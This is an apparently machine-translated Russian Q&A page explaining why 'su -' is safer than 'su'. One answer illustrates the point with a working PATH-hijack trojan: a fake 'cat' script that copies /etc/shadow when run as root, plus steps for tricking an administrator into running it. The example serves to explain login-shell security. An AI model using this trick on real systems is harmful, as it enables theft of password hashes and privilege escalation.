Почему мы используем su – и не только su?

Я не понимаю, почему su - предпочтительнее su для входа в систему как root.

  • Как узнать, для чего этот процесс?
  • Linux, SVN и Dropbox. В какой каталог должен храниться мой репозиторий svn?
  • Что такое «ядерная динамическая память», как сообщает smem?
  • Не удается запустить OpenVPN
  • Что на самом деле будет выполнено?
  • Как запретить пользователям переименование файлов при предоставлении разрешений на запись в Linux
  • На какой странице руководства описывается процесс включения компьютера?
  • Пользовательский режим linux eth0, подключенный к локальному сетевому устройству, не подходит
  • ошибка монтирования 13 = Разрешение отклонено
  • расширение раздела с помощью resize2fs
  • Как локально установить .deb без доступа apt-get, dpkg или root?
  • Есть ли что-то, что создаст звуки щелчка клавиатуры?
  • 2 Solutions collect form web for “Почему мы используем su – и не только su?”

    su - вызывает оболочку входа после переключения пользователя. Оболочка для входа сбрасывает большинство переменных окружения, обеспечивая чистую базу.

    su просто переключает пользователя, обеспечивая нормальную оболочку с средой, почти такой же, как со старым пользователем.

    Представьте себе, что вы разработчик программного обеспечения с обычным доступом пользователей к машине, и ваш невежественный администратор просто не даст вам root-доступа. Давайте (надеюсь) обмануть его.

     $ mkdir /tmp/evil_bin $ vi /tmp/evil_bin/cat #!/bin/bash test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; } /bin/cat /etc/shadow &>/tmp/shadow_copy /bin/cat "$@" exit 0 $ chmod +x /tmp/evil_bin/cat $ PATH="/tmp/evil_bin:$PATH" 

    Теперь вы спросите своего администратора, почему вы не можете cat фиктивный файл в своей домашней папке, он просто не сработает!

     $ ls -l /home/you/dummy_file -rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file $ cat /home/you/dummy_file /bin/cat: Permission denied! 

    Если ваш администратор не такой умный или просто немного ленив, он может зайти на ваш стол и попробовать с его суперпользователями:

     $ su Password: ... # cat /home/you/dummy_file Some important dummy stuff in that file. # exit 

    Вау! Спасибо, супер админ!

     $ ls -l /tmp/shadow_copy -rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy 

    Он, он.

    Возможно, вы заметили, что поврежденная $PATH не была сброшена. Этого не произошло бы, если бы администратор вызывал su - вместо этого.

    su - вас в качестве root, тогда как su делает это так, что вы притворяетесь root.

    Наиболее очевидным примером этого является то, что ~ является корневым каталогом root, если вы используете su - , но ваш собственный домашний каталог, если вы используете su .

    В зависимости от вашей системы это может также означать различия в файле подсказки, PATH или истории.

    Поэтому, если вы являетесь частью команды, управляющей системой, и ваш коллега дает вам команду для запуска, вы знаете, что она будет работать одинаково, если вы оба используете su - , но если вы оба используете su , могут быть различия из-за для вас есть разные конфигурации оболочки.

    С другой стороны, если вы хотите запустить команду как root, но используя свою собственную конфигурацию, то, возможно, вам будет лучше для вас.

    Также не забывайте о sudo , у которого есть опция -s чтобы запустить оболочку с правами root. Конечно, у этого есть и другие правила, и они меняются в зависимости от того, какое распределение вы используете.

    Linux и Unix - лучшая ОС в мире.